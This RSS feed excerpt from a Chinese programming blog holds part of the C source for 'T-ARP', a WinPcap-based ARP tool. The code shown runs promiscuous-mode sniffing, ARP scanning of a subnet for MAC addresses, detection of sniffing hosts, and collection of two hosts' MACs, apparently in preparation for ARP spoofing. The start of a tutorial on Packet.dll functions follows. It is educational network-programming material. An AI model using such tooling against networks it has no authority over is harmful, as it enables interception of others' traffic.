<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(sin.sin_addr.s_addr==htonl(myip)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(mmac,eth-&gt;eh_src,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!mm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\t");&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",eth-&gt;eh_src[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n",eth-&gt;eh_src[5]);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(op)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 1:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n[MAC LIST:]");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 2:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n[Sniffing Host:]");&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((op==1) || (op==2))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n[IP:] %.16s&nbsp; [MAC:] ",inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",eth-&gt;eh_src[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x",eth-&gt;eh_src[5]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(((op==3) || (op==4)) &amp;&amp; (!fm || !sm))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(arp-&gt;arp_spa==htonl(firstip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(fmac,eth-&gt;eh_src,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(arp-&gt;arp_spa==htonl(secondip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(smac,eth-&gt;eh_src,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return ;<br>}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>DWORD WINAPI sniff(LPVOID no)<br>{<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; option=*(int *)no;<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp;&nbsp; recvbuf[1024*250];</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to set the adapter to promiscuous mode\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketSetBuff(lpadapter,500*1024)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSetBuff Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if(PacketSetReadTimeout(lpadapter,1)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to set the timeout\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; if((lppacketr=PacketAllocatePacket())==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketAllocatePacket receive Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));</p>
<p>&nbsp;&nbsp;&nbsp; while(!kbhit())<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(GetLastError()==6)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketReceivePacket Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getdata(lppacketr,option);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</p>
<p>DWORD WINAPI sendMASR(LPVOID no)<br>{<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; fun=*(int *)no;<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; k,stimes;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp; sendbuf[1024];<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp; eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR arp;</p>
<p>&nbsp;&nbsp;&nbsp; if(fun&lt;1 || fun&gt;4)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;6;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_dst[k]=0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tha[k]=0x00;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(fun==2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_dst[5]=0xfe;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; memcpy(eth.eh_src,mmac,6);<br>&nbsp;&nbsp;&nbsp; eth.eh_type=htons(ETH_ARP);</p>
<p>&nbsp;&nbsp;&nbsp; arp.arp_hdr=htons(ARP_HARDWARE);<br>&nbsp;&nbsp;&nbsp; arp.arp_pro=htons(ETH_IP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hln=6;<br>&nbsp;&nbsp;&nbsp; arp.arp_pln=4;<br>&nbsp;&nbsp;&nbsp; arp.arp_opt=htons(ARP_REQUEST);<br>&nbsp;&nbsp;&nbsp; arp.arp_spa=htonl(myip);<br>&nbsp;&nbsp;&nbsp; memcpy(arp.arp_sha,mmac,6);</p>
<p>&nbsp;&nbsp;&nbsp; if(fun==1 || fun==2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=1;<br>&nbsp;&nbsp;&nbsp; else if(fun==3 || fun==4)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=2;</p>
<p>&nbsp;&nbsp;&nbsp; for(k=0;k&lt;stimes;k++)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(stimes==1)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(firstip+(num++));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(stimes==2)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(k)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(firstip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 1:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(secondip);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return 0;<br>}<br></p>
</font>
<img src ="http://www.cppblog.com/binghuo/aggbug/76069.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:06 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具一(转载)</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:05:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76068.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76068.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76068.html</trackback:ping><description><![CDATA[<p><font size=2>一 winpcap驱动简介<br>二 Packet.dll相关数据结构及函数<br>三 T-ARP功能及原理介绍<br>四 T-ARP主要代码分析<br>五 T-ARP源代码</font></p>
<p><font size=2>一）winpcap驱动简介<br>&nbsp;&nbsp;&nbsp; winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能：<br>&nbsp;&nbsp;&nbsp; 1&gt; 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报；<br>&nbsp;&nbsp;&nbsp; 2&gt; 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉；<br>&nbsp;&nbsp;&nbsp; 3&gt; 在网络上发送原始的数据报；<br>&nbsp;&nbsp;&nbsp; 4&gt; 收集网络通信过程中的统计信息。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。</font></p>
<p><font size=2>二）Packet.dll相关数据结构及函数&nbsp; <br>&nbsp;&nbsp;&nbsp; 本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 首先介绍一些相关的数据结构：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. typedef struct _ADAPTER&nbsp; ADAPTER&nbsp; //描述一个网络适配器；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. typedef struct _PACKET PACKET&nbsp;&nbsp;&nbsp;&nbsp; //描述一组网络数据报的结构；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3. typedef struct NetType NetType&nbsp;&nbsp;&nbsp; //描述网络类型的数据结构；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4. typedef struct npf_if_addr npf_if_addr&nbsp; //描述一个网络适配器的ip地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5. struct bpf_hdr&nbsp;&nbsp; //数据报头部；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6. struct bpf_stat&nbsp; //当前捕获数据报的统计信息。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的：<br>&nbsp;&nbsp;&nbsp; 1&gt;&nbsp; LPPACKET PacketAllocatePacket(void)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 2&gt;&nbsp; VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关闭参数中提供的网络适配器，释放相关的ADAPTER结构。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 3&gt;&nbsp; VOID PacketFreePacket(LPPACKET lpPacket)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 释放参数提供的_PACKET结构。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 4&gt;&nbsp; BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回可以得到的网络适配器列表及描述。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 5&gt;&nbsp; BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回某个网络适配器的全面地址信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IPAddress: ip地址<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SubnetMask: 子网掩码<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Broadcast: 广播地址</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 6&gt;&nbsp; BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回某个网络适配器的MAC类型。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMedium802_3: Ethernet(802.3)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumWan: WAN<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMedium802_5: Token Ring(802.5)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumFddi: FDDI<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumAtm: ATM<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NdisMediumArcnet878_2: ARCNET(878.2)</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 7&gt;&nbsp; BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回几个关于当前捕获报告的统计信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 8&gt;&nbsp; PCHAR PacketGetVersion()<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 返回关于dll的版本信息。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 9&gt;&nbsp; VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 初始化一个_PACKET结构。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 10&gt; LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 打开一个网络适配器。</font></p>
